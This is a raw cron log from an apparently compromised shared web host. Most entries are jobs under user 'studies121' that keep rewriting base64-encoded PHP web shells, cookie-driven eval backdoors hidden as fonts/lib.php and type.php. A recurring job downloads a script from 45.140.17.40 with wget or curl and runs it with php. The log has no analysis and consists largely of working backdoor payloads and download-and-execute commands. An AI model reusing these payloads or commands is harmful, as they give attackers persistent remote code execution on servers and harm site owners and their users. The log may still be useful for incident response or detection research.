Sep 11 06:33:01 ip-184-168-122-23 CROND[17511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:33:01 ip-184-168-122-23 CROND[17513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:34:01 ip-184-168-122-23 CROND[17741]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:34:01 ip-184-168-122-23 CROND[17742]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:34:01 ip-184-168-122-23 CROND[17745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:34:01 ip-184-168-122-23 CROND[17746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:34:01 ip-184-168-122-23 CROND[17748]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17874]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17873]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17871]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17872]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:35:01 ip-184-168-122-23 CROND[17876]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17875]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:35:01 ip-184-168-122-23 CROND[17877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:36:01 ip-184-168-122-23 CROND[17994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:36:01 ip-184-168-122-23 CROND[17998]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:36:01 ip-184-168-122-23 CROND[17996]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:36:01 ip-184-168-122-23 CROND[17999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:36:01 ip-184-168-122-23 CROND[17997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:37:01 ip-184-168-122-23 CROND[18133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:37:01 ip-184-168-122-23 CROND[18134]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:37:01 ip-184-168-122-23 CROND[18136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:37:01 ip-184-168-122-23 CROND[18135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:38:01 ip-184-168-122-23 CROND[18253]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:38:01 ip-184-168-122-23 CROND[18255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:38:01 ip-184-168-122-23 CROND[18256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:38:01 ip-184-168-122-23 CROND[18257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:38:01 ip-184-168-122-23 CROND[18258]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:39:01 ip-184-168-122-23 CROND[18378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:39:01 ip-184-168-122-23 CROND[18383]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 06:39:01 ip-184-168-122-23 CROND[18382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:39:01 ip-184-168-122-23 CROND[18380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:39:01 ip-184-168-122-23 CROND[18381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:40:01 ip-184-168-122-23 CROND[18524]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18525]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:40:01 ip-184-168-122-23 CROND[18533]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:40:01 ip-184-168-122-23 CROND[18532]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:41:01 ip-184-168-122-23 CROND[18732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:41:01 ip-184-168-122-23 CROND[18733]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:41:01 ip-184-168-122-23 CROND[18734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:41:01 ip-184-168-122-23 CROND[18735]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:42:01 ip-184-168-122-23 CROND[18873]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:42:01 ip-184-168-122-23 CROND[18876]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:42:01 ip-184-168-122-23 CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:42:01 ip-184-168-122-23 CROND[18875]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:42:01 ip-184-168-122-23 CROND[18878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:43:01 ip-184-168-122-23 CROND[19015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:43:01 ip-184-168-122-23 CROND[19017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:43:01 ip-184-168-122-23 CROND[19018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:43:01 ip-184-168-122-23 CROND[19019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:44:01 ip-184-168-122-23 CROND[19131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 06:44:01 ip-184-168-122-23 CROND[19134]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:44:01 ip-184-168-122-23 CROND[19135]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:44:01 ip-184-168-122-23 CROND[19132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:44:01 ip-184-168-122-23 CROND[19133]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 06:45:01 ip-184-168-122-23 CROND[19269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 06:45:01 ip-184-168-122-23 CROND[19270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
